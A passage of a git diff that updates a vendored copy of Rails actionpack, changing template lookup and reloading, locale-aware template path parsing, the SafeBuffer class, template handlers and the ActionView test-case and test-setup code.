+      each do |load_path|
+        if format && (template = load_path["#{template_path}.#{I18n.locale}.#{format}"])
+          return template
+        elsif format && (template = load_path["#{template_path}.#{format}"])
+          return template
+        elsif template = load_path["#{template_path}.#{I18n.locale}"]
+          return template
+        elsif template = load_path[template_path]
+          return template
+        # Try to find html version if the format is javascript
+        elsif format == :js && html_fallback && template = load_path["#{template_path}.#{I18n.locale}.html"]
+          return template
+        elsif format == :js && html_fallback && template = load_path["#{template_path}.html"]
           return template
         end
       end
-      nil
+
+      return Template.new(original_template_path) if File.file?(original_template_path)
+
+      raise MissingTemplate.new(self, original_template_path, format)
     end
   end
 end
diff --git a/vendor/rails/actionpack/lib/action_view/reloadable_template.rb b/vendor/rails/actionpack/lib/action_view/reloadable_template.rb
new file mode 100644
index 00000000..5ef833d7
--- /dev/null
+++ b/vendor/rails/actionpack/lib/action_view/reloadable_template.rb
@@ -0,0 +1,117 @@
+module ActionView #:nodoc:
+  class ReloadableTemplate < Template
+
+    class TemplateDeleted < ActionView::ActionViewError
+    end
+
+    class ReloadablePath < Template::Path
+
+      def initialize(path)
+        super
+        @paths = {}
+        new_request!
+      end
+
+      def new_request!
+        @disk_cache = {}
+      end
+      alias_method :load!, :new_request!
+
+      def [](path)
+        if found_template = @paths[path]
+          begin
+            found_template.reset_cache_if_stale!
+          rescue TemplateDeleted
+            unregister_template(found_template)
+            self[path]
+          end
+        else
+          load_all_templates_from_dir(templates_dir_from_path(path))
+          # don't ever hand out a template without running a stale check
+          (new_template = @paths[path]) && new_template.reset_cache_if_stale!
+        end
+      end
+
+      private
+        def register_template_from_file(template_full_file_path)
+          if !@paths[relative_path = relative_path_for_template_file(template_full_file_path)] && File.file?(template_full_file_path)
+            register_template(ReloadableTemplate.new(relative_path, self))
+          end
+        end
+
+        def register_template(template)
+          template.accessible_paths.each do |path|
+            @paths[path] = template
+          end
+        end
+
+        # remove (probably deleted) template from cache
+        def unregister_template(template)
+          template.accessible_paths.each do |template_path|
+            @paths.delete(template_path) if @paths[template_path] == template
+          end
+          # fill in any newly created gaps
+          @paths.values.uniq.each do |template|
+            template.accessible_paths.each {|path| @paths[path] ||= template}
+          end
+        end
+
+        # load all templates from the directory of the requested template
+        def load_all_templates_from_dir(dir)
+          # hit disk only once per template-dir/request
+          @disk_cache[dir] ||= template_files_from_dir(dir).each {|template_file| register_template_from_file(template_file)}
+        end
+
+        def templates_dir_from_path(path)
+          dirname = File.dirname(path)
+          File.join(@path, dirname == '.' ? '' : dirname)
+        end
+
+        # get all the template filenames from the dir
+        def template_files_from_dir(dir)
+          Dir.glob(File.join(dir, '*'))
+        end
+    end
+
+    module Unfreezable
+      def freeze; self; end
+    end
+
+    def initialize(*args)
+      super
+      
+      # we don't ever want to get frozen
+      extend Unfreezable
+    end
+
+    def mtime
+      File.mtime(filename)
+    end
+
+    attr_accessor :previously_last_modified
+
+    def stale?
+      previously_last_modified.nil? || previously_last_modified < mtime
+    rescue Errno::ENOENT => e
+      undef_my_compiled_methods!
+      raise TemplateDeleted
+    end
+
+    def reset_cache_if_stale!
+      if stale?
+        flush_cache 'source', 'compiled_source'
+        undef_my_compiled_methods!
+        @previously_last_modified = mtime
+      end
+      self
+    end
+
+    # remove any compiled methods that look like they might belong to me
+    def undef_my_compiled_methods!
+      ActionView::Base::CompiledTemplates.public_instance_methods.grep(/#{Regexp.escape(method_name_without_locals)}(?:_locals_)?/).each do |m|
+        ActionView::Base::CompiledTemplates.send(:remove_method, m)
+      end
+    end
+
+  end
+end
diff --git a/vendor/rails/actionpack/lib/action_view/renderable.rb b/vendor/rails/actionpack/lib/action_view/renderable.rb
index 5ff5569d..ff7bc7d9 100644
--- a/vendor/rails/actionpack/lib/action_view/renderable.rb
+++ b/vendor/rails/actionpack/lib/action_view/renderable.rb
@@ -1,13 +1,11 @@
+# encoding: utf-8
+
 module ActionView
   # NOTE: The template that this mixin is being included into is frozen
   # so you cannot set or modify any instance variables
   module Renderable #:nodoc:
     extend ActiveSupport::Memoizable
 
-    def self.included(base)
-      @@mutex = Mutex.new
-    end
-
     def filename
       'compiled-template'
     end
@@ -20,40 +18,38 @@ module ActionView
     def compiled_source
       handler.call(self)
     end
-    memoize :compiled_source
+
+    def method_name_without_locals
+      ['_run', extension, method_segment].compact.join('_')
+    end
+    memoize :method_name_without_locals
 
     def render(view, local_assigns = {})
       compile(local_assigns)
 
-      stack = view.instance_variable_get(:@_render_stack)
-      stack.push(self)
+      view.with_template self do
+        view.send(:_evaluate_assigns_and_ivars)
+        view.send(:_set_controller_content_type, mime_type) if respond_to?(:mime_type)
 
-      # This is only used for TestResponse to set rendered_template
-      unless is_a?(InlineTemplate) || view.instance_variable_get(:@_first_render)
-        view.instance_variable_set(:@_first_render, self)
-      end
-
-      view.send(:_evaluate_assigns_and_ivars)
-      view.send(:_set_controller_content_type, mime_type) if respond_to?(:mime_type)
-
-      result = view.send(method_name(local_assigns), local_assigns) do |*names|
-        ivar = :@_proc_for_layout
-        if !view.instance_variable_defined?(:"@content_for_#{names.first}") && view.instance_variable_defined?(ivar) && (proc = view.instance_variable_get(ivar))
-          view.capture(*names, &proc)
-        elsif view.instance_variable_defined?(ivar = :"@content_for_#{names.first || :layout}")
-          view.instance_variable_get(ivar)
+        view.send(method_name(local_assigns), local_assigns) do |*names|
+          ivar = :@_proc_for_layout
+          if !view.instance_variable_defined?(:"@content_for_#{names.first}") && view.instance_variable_defined?(ivar) && (proc = view.instance_variable_get(ivar))
+            view.capture(*names, &proc)
+          elsif view.instance_variable_defined?(ivar = :"@content_for_#{names.first || :layout}")
+            view.instance_variable_get(ivar)
+          end
         end
       end
-
-      stack.pop
-      result
     end
 
     def method_name(local_assigns)
       if local_assigns && local_assigns.any?
-        local_assigns_keys = "locals_#{local_assigns.keys.map { |k| k.to_s }.sort.join('_')}"
+        method_name = method_name_without_locals.dup
+        method_name << "_locals_#{local_assigns.keys.map { |k| k.to_s }.sort.join('_')}"
+      else
+        method_name = method_name_without_locals
       end
-      ['_run', extension, method_segment, local_assigns_keys].compact.join('_').to_sym
+      method_name.to_sym
     end
 
     private
@@ -61,10 +57,8 @@ module ActionView
       def compile(local_assigns)
         render_symbol = method_name(local_assigns)
 
-        @@mutex.synchronize do
-          if recompile?(render_symbol)
-            compile!(render_symbol, local_assigns)
-          end
+        if !Base::CompiledTemplates.method_defined?(render_symbol) || recompile?
+          compile!(render_symbol, local_assigns)
         end
       end
 
@@ -81,6 +75,8 @@ module ActionView
 
         begin
           ActionView::Base::CompiledTemplates.module_eval(source, filename, 0)
+        rescue Errno::ENOENT => e
+          raise e # Missing template file, re-raise for Base to rescue
         rescue Exception => e # errors from template code
           if logger = defined?(ActionController) && Base.logger
             logger.debug "ERROR: compiling #{render_symbol} RAISED #{e}"
@@ -92,11 +88,8 @@ module ActionView
         end
       end
 
-      # Method to check whether template compilation is necessary.
-      # The template will be compiled if the file has not been compiled yet, or
-      # if local_assigns has a new key, which isn't supported by the compiled code yet.
-      def recompile?(symbol)
-        !(ActionView::PathSet::Path.eager_load_templates? && Base::CompiledTemplates.method_defined?(symbol))
+      def recompile?
+        false
       end
   end
 end
diff --git a/vendor/rails/actionpack/lib/action_view/renderable_partial.rb b/vendor/rails/actionpack/lib/action_view/renderable_partial.rb
index d92ff1b8..3ea836fa 100644
--- a/vendor/rails/actionpack/lib/action_view/renderable_partial.rb
+++ b/vendor/rails/actionpack/lib/action_view/renderable_partial.rb
@@ -25,12 +25,11 @@ module ActionView
     end
 
     def render_partial(view, object = nil, local_assigns = {}, as = nil)
-      object ||= local_assigns[:object] ||
-        local_assigns[variable_name]
+      object ||= local_assigns[:object] || local_assigns[variable_name]
 
-      if view.respond_to?(:controller)
+      if object.nil? && view.respond_to?(:controller)
         ivar = :"@#{variable_name}"
-        object ||=
+        object =
           if view.controller.instance_variable_defined?(ivar)
             ActiveSupport::Deprecation::DeprecatedObjectProxy.new(
               view.controller.instance_variable_get(ivar),
diff --git a/vendor/rails/actionpack/lib/action_view/safe_buffer.rb b/vendor/rails/actionpack/lib/action_view/safe_buffer.rb
new file mode 100644
index 00000000..09f44ab2
--- /dev/null
+++ b/vendor/rails/actionpack/lib/action_view/safe_buffer.rb
@@ -0,0 +1,28 @@
+
+module ActionView #:nodoc:
+  class SafeBuffer < String
+    def <<(value)
+      if value.html_safe?
+        super(value)
+      else
+        super(ERB::Util.h(value))
+      end
+    end
+
+    def concat(value)
+      self << value
+    end
+
+    def html_safe?
+      true
+    end
+
+    def html_safe!
+      self
+    end
+
+    def to_s
+      self
+    end
+  end
+end
\ No newline at end of file
diff --git a/vendor/rails/actionpack/lib/action_view/template.rb b/vendor/rails/actionpack/lib/action_view/template.rb
index 12808581..414dc0cc 100644
--- a/vendor/rails/actionpack/lib/action_view/template.rb
+++ b/vendor/rails/actionpack/lib/action_view/template.rb
@@ -1,24 +1,146 @@
-require 'action_controller/mime_type'
-
 module ActionView #:nodoc:
   class Template
+    class Path
+      attr_reader :path, :paths
+      delegate :hash, :inspect, :to => :path
+
+      def initialize(path)
+        raise ArgumentError, "path already is a Path class" if path.is_a?(Path)
+        @path = (path.ends_with?(File::SEPARATOR) ? path.to(-2) : path).freeze
+      end
+
+      def to_s
+        if defined?(RAILS_ROOT)
+          path.to_s.sub(/^#{Regexp.escape(File.expand_path(RAILS_ROOT))}\//, '')
+        else
+          path.to_s
+        end
+      end
+
+      def to_str
+        path.to_str
+      end
+
+      def ==(path)
+        to_str == path.to_str
+      end
+
+      def eql?(path)
+        to_str == path.to_str
+      end
+
+      # Returns a ActionView::Template object for the given path string. The
+      # input path should be relative to the view path directory,
+      # +hello/index.html.erb+. This method also has a special exception to
+      # match partial file names without a handler extension. So
+      # +hello/index.html+ will match the first template it finds with a
+      # known template extension, +hello/index.html.erb+. Template extensions
+      # should not be confused with format extensions +html+, +js+, +xml+,
+      # etc. A format must be supplied to match a formated file. +hello/index+
+      # will never match +hello/index.html.erb+.
+      def [](path)
+      end
+
+      def load!
+      end
+
+      def self.new_and_loaded(path)
+        returning new(path) do |path|
+          path.load!
+        end
+      end
+
+      private
+        def relative_path_for_template_file(full_file_path)
+          full_file_path.split("#{@path}/").last
+        end
+    end
+
+    class EagerPath < Path
+      def initialize(path)
+        super
+        @loaded = false
+      end
+
+      def load!
+        return if @loaded
+
+        @paths = {}
+        templates_in_path do |template|
+          template.load!
+          template.accessible_paths.each do |path|
+            @paths[path] = template
+          end
+        end
+        @paths.freeze
+        @loaded = true
+      end
+
+      def [](path)
+        load! unless @loaded
+        @paths[path]
+      end
+
+      private
+        def templates_in_path
+          (Dir.glob("#{@path}/**/*/**") | Dir.glob("#{@path}/**")).each do |file|
+            yield create_template(file) unless File.directory?(file)
+          end
+        end
+
+        def create_template(file)
+          Template.new(relative_path_for_template_file(file), self)
+        end
+    end
+
     extend TemplateHandlers
     extend ActiveSupport::Memoizable
     include Renderable
 
-    attr_accessor :filename, :load_path, :base_path, :name, :format, :extension
+    # Templates that are exempt from layouts
+    @@exempt_from_layout = Set.new([/\.rjs$/])
+
+    # Don't render layouts for templates with the given extensions.
+    def self.exempt_from_layout(*extensions)
+      regexps = extensions.collect do |extension|
+        extension.is_a?(Regexp) ? extension : /\.#{Regexp.escape(extension.to_s)}$/
+      end
+      @@exempt_from_layout.merge(regexps)
+    end
+
+    attr_accessor :template_path, :load_path, :base_path
+    attr_accessor :locale, :name, :format, :extension
+    attr_writer :filename
     delegate :to_s, :to => :path
 
-    def initialize(template_path, load_paths = [])
-      template_path = template_path.dup
-      @base_path, @name, @format, @extension = split(template_path)
+    def initialize(template_path, load_path = nil)
+      @template_path, @load_path = template_path.dup, load_path
+      @base_path, @name, @locale, @format, @extension = split(template_path)
       @base_path.to_s.gsub!(/\/$/, '') # Push to split method
-      @load_path, @filename = find_full_path(template_path, load_paths)
 
       # Extend with partial super powers
       extend RenderablePartial if @name =~ /^_/
     end
 
+    def accessible_paths
+      paths = []
+
+      if valid_extension?(extension)
+        paths << path
+        paths << path_without_extension
+        if multipart?
+          formats = format.split(".")
+          paths << "#{path_without_format_and_extension}.#{formats.first}"
+          paths << "#{path_without_format_and_extension}.#{formats.second}"
+        end
+      else
+        # template without explicit template handler should only be reachable through its exact path
+        paths << template_path
+      end
+
+      paths
+    end
+
     def format_and_extension
       (extensions = [format, extension].compact.join(".")).blank? ? nil : extensions
     end
@@ -33,22 +155,22 @@ module ActionView #:nodoc:
     end
 
     def mime_type
-      Mime::Type.lookup_by_extension(format) if format
+      Mime::Type.lookup_by_extension(format) if format && defined?(::Mime)
     end
     memoize :mime_type
 
     def path
-      [base_path, [name, format, extension].compact.join('.')].compact.join('/')
+      [base_path, [name, locale, format, extension].compact.join('.')].compact.join('/')
     end
     memoize :path
 
     def path_without_extension
-      [base_path, [name, format].compact.join('.')].compact.join('/')
+      [base_path, [name, locale, format].compact.join('.')].compact.join('/')
     end
     memoize :path_without_extension
 
     def path_without_format_and_extension
-      [base_path, name].compact.join('/')
+      [base_path, [name, locale].compact.join('.')].compact.join('/')
     end
     memoize :path_without_format_and_extension
 
@@ -59,6 +181,16 @@ module ActionView #:nodoc:
     end
     memoize :relative_path
 
+    def exempt_from_layout?
+      @@exempt_from_layout.any? { |exempted| path =~ exempted }
+    end
+
+    def filename
+      # no load_path means this is an "absolute pathed" template
+      load_path ? File.join(load_path, template_path) : template_path
+    end
+    memoize :filename
+
     def source
       File.read(filename)
     end
@@ -81,36 +213,40 @@ module ActionView #:nodoc:
       end
     end
 
+    def load!
+      freeze
+    end
+
     private
       def valid_extension?(extension)
-        Template.template_handler_extensions.include?(extension)
+        !Template.registered_template_handler(extension).nil?
       end
 
-      def find_full_path(path, load_paths)
-        load_paths = Array(load_paths) + [nil]
-        load_paths.each do |load_path|
-          file = [load_path, path].compact.join('/')
-          return load_path, file if File.file?(file)
-        end
-        raise MissingTemplate.new(load_paths, path)
+      def valid_locale?(locale)
+        locale && I18n.available_locales.include?(locale.to_sym)
       end
 
       # Returns file split into an array
-      #   [base_path, name, format, extension]
+      #   [base_path, name, locale, format, extension]
       def split(file)
-        if m = file.match(/^(.*\/)?([^\.]+)\.?(\w+)?\.?(\w+)?\.?(\w+)?$/)
-          if m[5] # Multipart formats
-            [m[1], m[2], "#{m[3]}.#{m[4]}", m[5]]
-          elsif m[4] # Single format
-            [m[1], m[2], m[3], m[4]]
-          else
-            if valid_extension?(m[3]) # No format
-              [m[1], m[2], nil, m[3]]
-            else # No extension
-              [m[1], m[2], m[3], nil]
-            end
-          end
+        if m = file.to_s.match(/^(.*\/)?([^\.]+)\.(.*)$/)
+          [m[1], m[2], *parse_extensions(m[3])]
         end
       end
+
+      # returns parsed extensions as an array
+      #   [locale, format, extension]
+      def parse_extensions(extensions)
+        exts = extensions.split(".")
+
+        if extension = valid_extension?(exts.last) && exts.pop || nil
+          locale = valid_locale?(exts.first) && exts.shift || nil
+          format = exts.join('.') if exts.any? # join('.') is needed for multipart templates
+        else # no extension, just format
+          format = exts.last
+        end
+
+        [locale, format, extension]
+      end
   end
 end
diff --git a/vendor/rails/actionpack/lib/action_view/template_error.rb b/vendor/rails/actionpack/lib/action_view/template_error.rb
index bcce3317..37cb1c7c 100644
--- a/vendor/rails/actionpack/lib/action_view/template_error.rb
+++ b/vendor/rails/actionpack/lib/action_view/template_error.rb
@@ -20,7 +20,11 @@ module ActionView
     end
 
     def clean_backtrace
-      original_exception.clean_backtrace
+      if defined?(Rails) && Rails.respond_to?(:backtrace_cleaner)
+        Rails.backtrace_cleaner.clean(original_exception.backtrace)
+      else
+        original_exception.backtrace
+      end
     end
 
     def sub_template_message
@@ -66,8 +70,8 @@ module ActionView
     end
 
     def to_s
-      "\n\n#{self.class} (#{message}) #{source_location}:\n" +
-        "#{source_extract}\n    #{clean_backtrace.join("\n    ")}\n\n"
+      "\n#{self.class} (#{message}) #{source_location}:\n" + 
+      "#{source_extract}\n    #{clean_backtrace.join("\n    ")}\n\n"
     end
 
     # don't do anything nontrivial here. Any raised exception from here becomes fatal 
@@ -92,9 +96,4 @@ module ActionView
         end + file_name
       end
   end
-end
-
-if defined?(Exception::TraceSubstitutions)
-  Exception::TraceSubstitutions << [/:in\s+`_run_.*'\s*$/, '']
-  Exception::TraceSubstitutions << [%r{^\s*#{Regexp.escape RAILS_ROOT}/}, ''] if defined?(RAILS_ROOT)
-end
+end
\ No newline at end of file
diff --git a/vendor/rails/actionpack/lib/action_view/template_handler.rb b/vendor/rails/actionpack/lib/action_view/template_handler.rb
index d7e7c9b1..672da0ed 100644
--- a/vendor/rails/actionpack/lib/action_view/template_handler.rb
+++ b/vendor/rails/actionpack/lib/action_view/template_handler.rb
@@ -1,14 +1,34 @@
 # Legacy TemplateHandler stub
-
 module ActionView
-  module TemplateHandlers
+  module TemplateHandlers #:nodoc:
     module Compilable
+      def self.included(base)
+        base.extend(ClassMethods)
+      end
+
+      module ClassMethods
+        def call(template)
+          new.compile(template)
+        end
+      end
+
+      def compile(template)
+         raise "Need to implement #{self.class.name}#compile(template)"
+       end
     end
   end
 
   class TemplateHandler
     def self.call(template)
-      new.compile(template)
+      "#{name}.new(self).render(template, local_assigns)"
+    end
+
+    def initialize(view = nil)
+      @view = view
+    end
+
+    def render(template, local_assigns)
+      raise "Need to implement #{self.class.name}#render(template, local_assigns)"
     end
   end
 end
diff --git a/vendor/rails/actionpack/lib/action_view/template_handlers.rb b/vendor/rails/actionpack/lib/action_view/template_handlers.rb
index 6c8aa4c2..205f8628 100644
--- a/vendor/rails/actionpack/lib/action_view/template_handlers.rb
+++ b/vendor/rails/actionpack/lib/action_view/template_handlers.rb
@@ -1,10 +1,9 @@
-require 'action_view/template_handler'
-require 'action_view/template_handlers/builder'
-require 'action_view/template_handlers/erb'
-require 'action_view/template_handlers/rjs'
-
 module ActionView #:nodoc:
   module TemplateHandlers #:nodoc:
+    autoload :ERB, 'action_view/template_handlers/erb'
+    autoload :RJS, 'action_view/template_handlers/rjs'
+    autoload :Builder, 'action_view/template_handlers/builder'
+
     def self.extended(base)
       base.register_default_template_handler :erb, TemplateHandlers::ERB
       base.register_template_handler :rjs, TemplateHandlers::RJS
@@ -33,13 +32,17 @@ module ActionView #:nodoc:
       @@template_handlers.keys.map(&:to_s).sort
     end
 
+    def registered_template_handler(extension)
+      extension && @@template_handlers[extension.to_sym]
+    end
+
     def register_default_template_handler(extension, klass)
       register_template_handler(extension, klass)
       @@default_template_handlers = klass
     end
 
     def handler_class_for_extension(extension)
-      (extension && @@template_handlers[extension.to_sym]) || @@default_template_handlers
+      registered_template_handler(extension) || @@default_template_handlers
     end
   end
 end
diff --git a/vendor/rails/actionpack/lib/action_view/template_handlers/erb.rb b/vendor/rails/actionpack/lib/action_view/template_handlers/erb.rb
index 3def949f..e3120ba2 100644
--- a/vendor/rails/actionpack/lib/action_view/template_handlers/erb.rb
+++ b/vendor/rails/actionpack/lib/action_view/template_handlers/erb.rb
@@ -1,47 +1,10 @@
-require 'erb'
-
-class ERB
-  module Util
-    HTML_ESCAPE = { '&' => '&amp;',  '>' => '&gt;',   '<' => '&lt;', '"' => '&quot;' }
-    JSON_ESCAPE = { '&' => '\u0026', '>' => '\u003E', '<' => '\u003C' }
-
-    # A utility method for escaping HTML tag characters.
-    # This method is also aliased as <tt>h</tt>.
-    #
-    # In your ERb templates, use this method to escape any unsafe content. For example:
-    #   <%=h @person.name %>
-    #
-    # ==== Example:
-    #   puts html_escape("is a > 0 & a < 10?")
-    #   # => is a &gt; 0 &amp; a &lt; 10?
-    def html_escape(s)
-      s.to_s.gsub(/[&"><]/) { |special| HTML_ESCAPE[special] }
-    end
-
-    # A utility method for escaping HTML entities in JSON strings.
-    # This method is also aliased as <tt>j</tt>.
-    #
-    # In your ERb templates, use this method to escape any HTML entities:
-    #   <%=j @person.to_json %>
-    #
-    # ==== Example:
-    #   puts json_escape("is a > 0 & a < 10?")
-    #   # => is a \u003E 0 \u0026 a \u003C 10?
-    def json_escape(s)
-      s.to_s.gsub(/[&"><]/) { |special| JSON_ESCAPE[special] }
-    end
-
-    alias j json_escape
-    module_function :j
-    module_function :json_escape
-  end
-end
-
 module ActionView
   module TemplateHandlers
     class ERB < TemplateHandler
       include Compilable
 
+      ##
+      # :singleton-method:
       # Specify trim mode for the ERB compiler. Defaults to '-'.
       # See ERb documentation for suitable values.
       cattr_accessor :erb_trim_mode
diff --git a/vendor/rails/actionpack/lib/action_view/template_handlers/rjs.rb b/vendor/rails/actionpack/lib/action_view/template_handlers/rjs.rb
index a700655c..41a1fddb 100644
--- a/vendor/rails/actionpack/lib/action_view/template_handlers/rjs.rb
+++ b/vendor/rails/actionpack/lib/action_view/template_handlers/rjs.rb
@@ -4,6 +4,7 @@ module ActionView
       include Compilable
 
       def compile(template)
+        "@template_format = :html;" +
         "controller.response.content_type ||= Mime::JS;" +
           "update_page do |page|;#{template.source}\nend"
       end
diff --git a/vendor/rails/actionpack/lib/action_view/test_case.rb b/vendor/rails/actionpack/lib/action_view/test_case.rb
index c69f9455..f43531dc 100644
--- a/vendor/rails/actionpack/lib/action_view/test_case.rb
+++ b/vendor/rails/actionpack/lib/action_view/test_case.rb
@@ -1,9 +1,73 @@
 require 'active_support/test_case'
 
 module ActionView
+  class Base
+    alias_method :initialize_without_template_tracking, :initialize
+    def initialize(*args)
+      @_rendered = { :template => nil, :partials => Hash.new(0) }
+      initialize_without_template_tracking(*args)
+    end
+  end
+
+  module Renderable
+    alias_method :render_without_template_tracking, :render
+    def render(view, local_assigns = {})
+      if respond_to?(:path) && !is_a?(InlineTemplate)
+        rendered = view.instance_variable_get(:@_rendered)
+        rendered[:partials][self] += 1 if is_a?(RenderablePartial)
+        rendered[:template] ||= self
+      end
+      render_without_template_tracking(view, local_assigns)
+    end
+  end
+
   class TestCase < ActiveSupport::TestCase
+    class TestController < ActionController::Base
+      attr_accessor :request, :response, :params
+
+      def self.controller_path
+        ''
+      end
+
+      def initialize
+        @request = ActionController::TestRequest.new
+        @response = ActionController::TestResponse.new
+
+        @params = {}
+        send(:initialize_current_url)
+      end
+    end
+
+    include ActionController::TestCase::Assertions
+    include ActionController::TestProcess
+
+    include ActionController::PolymorphicRoutes
+    include ActionController::RecordIdentifier
+
+    include ActionView::Helpers
+    include ActionController::Helpers
+
     class_inheritable_accessor :helper_class
-    @@helper_class = nil
+    attr_accessor :controller, :output_buffer, :rendered
+
+    setup :setup_with_controller
+    def setup_with_controller
+      @controller = TestController.new
+      @output_buffer = ''
+      @rendered = ''
+
+      self.class.send(:include_helper_modules!)
+      make_test_case_available_to_view!
+    end
+
+    def render(options = {}, local_assigns = {}, &block)
+      @rendered << output = _view.render(options, local_assigns, &block)
+      output
+    end
+
+    def protect_against_forgery?
+      false
+    end
 
     class << self
       def tests(helper_class)
@@ -23,39 +87,76 @@ module ActionView
       rescue NameError
         nil
       end
-    end
 
-    include ActionView::Helpers
-    include ActionController::PolymorphicRoutes
-    include ActionController::RecordIdentifier
-
-    setup :setup_with_helper_class
-
-    def setup_with_helper_class
-      if helper_class && !self.class.ancestors.include?(helper_class)
-        self.class.send(:include, helper_class)
+      def helper_method(*methods)
+        # Almost a duplicate from ActionController::Helpers
+        methods.flatten.each do |method|
+          master_helper_module.module_eval <<-end_eval
+            def #{method}(*args, &block)                    # def current_user(*args, &block)
+              _test_case.send(%(#{method}), *args, &block)  #   test_case.send(%(current_user), *args, &block)
+            end                                             # end
+          end_eval
+        end
       end
 
-      self.output_buffer = ''
+      private
+        def include_helper_modules!
+          helper(helper_class) if helper_class
+          include master_helper_module
+        end
     end
 
-    class TestController < ActionController::Base
-      attr_accessor :request, :response
-
-      def initialize
-        @request = ActionController::TestRequest.new
-        @response = ActionController::TestResponse.new
-      end
-    end
-
-    protected
-      attr_accessor :output_buffer
-
     private
+      def make_test_case_available_to_view!
+        test_case_instance = self
+        master_helper_module.module_eval do
+          define_method(:_test_case) { test_case_instance }
+          private :_test_case
+        end
+      end
+
+      def _view
+        view = ActionView::Base.new(ActionController::Base.view_paths, _assigns, @controller)
+        view.helpers.include master_helper_module
+        view.output_buffer = self.output_buffer
+        view
+      end
+
+      # Support the selector assertions
+      #
+      # Need to experiment if this priority is the best one: rendered => output_buffer
+      def response_from_page_or_rjs
+        HTML::Document.new(rendered.blank? ? output_buffer : rendered).root
+      end
+
+      EXCLUDE_IVARS = %w{
+        @output_buffer
+        @fixture_cache
+        @method_name
+        @_result
+        @loaded_fixtures
+        @test_passed
+        @view
+      }
+
+      def _instance_variables
+        instance_variables - EXCLUDE_IVARS
+      end
+
+      def _assigns
+        _instance_variables.inject({}) do |hash, var|
+          name = var[1..-1].to_sym
+          hash[name] = instance_variable_get(var)
+          hash
+        end
+      end
+
       def method_missing(selector, *args)
-        controller = TestController.new
-        return controller.__send__(selector, *args) if ActionController::Routing::Routes.named_routes.helpers.include?(selector)
-        super
+        if ActionController::Routing::Routes.named_routes.helpers.include?(selector)
+          @controller.__send__(selector, *args)
+        else
+          super
+        end
       end
   end
-end
+end
\ No newline at end of file
diff --git a/vendor/rails/actionpack/lib/actionpack.rb b/vendor/rails/actionpack/lib/actionpack.rb
index 2fe2832f..41681db7 100644
--- a/vendor/rails/actionpack/lib/actionpack.rb
+++ b/vendor/rails/actionpack/lib/actionpack.rb
@@ -1 +1,2 @@
 require 'action_pack'
+ActiveSupport::Deprecation.warn 'require "actionpack" is deprecated and will be removed in Rails 3. Use require "action_pack" instead.'
diff --git a/vendor/rails/actionpack/test/abstract_unit.rb b/vendor/rails/actionpack/test/abstract_unit.rb
index 673efa6a..8acc4513 100644
--- a/vendor/rails/actionpack/test/abstract_unit.rb
+++ b/vendor/rails/actionpack/test/abstract_unit.rb
@@ -1,39 +1,61 @@
 $:.unshift(File.dirname(__FILE__) + '/../lib')
 $:.unshift(File.dirname(__FILE__) + '/../../activesupport/lib')
 $:.unshift(File.dirname(__FILE__) + '/fixtures/helpers')
+$:.unshift(File.dirname(__FILE__) + '/fixtures/alternate_helpers')
 
+require 'rubygems'
 require 'yaml'
 require 'stringio'
 require 'test/unit'
+
+gem 'mocha', '>= 0.9.7'
+require 'mocha'
+
+begin
+  require 'ruby-debug'
+  Debugger.settings[:autoeval] = true
+  Debugger.start
+rescue LoadError
+  # Debugging disabled. `gem install ruby-debug` to enable.
+end
+
 require 'action_controller'
 require 'action_controller/cgi_ext'
 require 'action_controller/test_process'
 require 'action_view/test_case'
 
-begin
-  require 'ruby-debug'
-rescue LoadError
-  # Debugging disabled. `gem install ruby-debug` to enable.
-end
-
 # Show backtraces for deprecated behavior for quicker cleanup.
 ActiveSupport::Deprecation.debug = true
 
 ActionController::Base.logger = nil
 ActionController::Routing::Routes.reload rescue nil
 
-FIXTURE_LOAD_PATH = File.join(File.dirname(__FILE__), 'fixtures')
-ActionView::PathSet::Path.eager_load_templates!
-ActionController::Base.view_paths = FIXTURE_LOAD_PATH
+ActionController::Base.session_store = nil
 
-# Wrap tests that use Mocha and skip if unavailable.
-def uses_mocha(test_name)
-  unless Object.const_defined?(:Mocha)
-    require 'mocha'
-    require 'stubba'
+# Register danish language for testing
+I18n.backend.store_translations 'da', {}
+I18n.backend.store_translations 'pt-BR', {}
+ORIGINAL_LOCALES = I18n.available_locales.map(&:to_s).sort
+
+FIXTURE_LOAD_PATH = File.join(File.dirname(__FILE__), 'fixtures')
+ActionView::Base.cache_template_loading = true
+ActionController::Base.view_paths = FIXTURE_LOAD_PATH
+CACHED_VIEW_PATHS = ActionView::Base.cache_template_loading? ?
+                      ActionController::Base.view_paths :
+                      ActionController::Base.view_paths.map {|path| ActionView::Template::EagerPath.new(path.to_s)}
+
+class DummyMutex
+  def lock
+    @locked = true
+  end
+
+  def unlock
+    @locked = false
+  end
+
+  def locked?
+    @locked
   end
-  yield
-rescue LoadError => load_error
-  raise unless load_error.message =~ /mocha/i
-  $stderr.puts "Skipping #{test_name} tests. `gem install mocha` and try again."
 end
+
+ActionController::Reloader.default_lock = DummyMutex.new
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/active_record_unit.rb b/vendor/rails/actionpack/test/active_record_unit.rb
index a377ccad..9e0c6605 100644
--- a/vendor/rails/actionpack/test/active_record_unit.rb
+++ b/vendor/rails/actionpack/test/active_record_unit.rb
@@ -51,7 +51,8 @@ class ActiveRecordTestConnector
         if Object.const_defined?(:ActiveRecord)
           defaults = { :database => ':memory:' }
           begin
-            options = defaults.merge :adapter => 'sqlite3', :timeout => 500
+            adapter = defined?(JRUBY_VERSION) ? 'jdbcsqlite3' : 'sqlite3'
+            options = defaults.merge :adapter => adapter, :timeout => 500
             ActiveRecord::Base.establish_connection(options)
             ActiveRecord::Base.configurations = { 'sqlite3_ar_integration' => options }
             ActiveRecord::Base.connection
@@ -82,7 +83,9 @@ class ActiveRecordTestConnector
   end
 end
 
-class ActiveRecordTestCase < ActiveSupport::TestCase
+class ActiveRecordTestCase < ActionController::TestCase
+  include ActiveRecord::TestFixtures
+
   # Set our fixture path
   if ActiveRecordTestConnector.able_to_connect
     self.fixture_path = [FIXTURE_LOAD_PATH]
@@ -96,8 +99,6 @@ class ActiveRecordTestCase < ActiveSupport::TestCase
   def run(*args)
     super if ActiveRecordTestConnector.connected
   end
-
-  def default_test; end
 end
 
 ActiveRecordTestConnector.setup
diff --git a/vendor/rails/actionpack/test/activerecord/active_record_store_test.rb b/vendor/rails/actionpack/test/activerecord/active_record_store_test.rb
index fd7da89a..bde36eb9 100644
--- a/vendor/rails/actionpack/test/activerecord/active_record_store_test.rb
+++ b/vendor/rails/actionpack/test/activerecord/active_record_store_test.rb
@@ -1,141 +1,174 @@
-# These tests exercise CGI::Session::ActiveRecordStore, so you're going to
-# need AR in a sibling directory to AP and have SQLite installed.
 require 'active_record_unit'
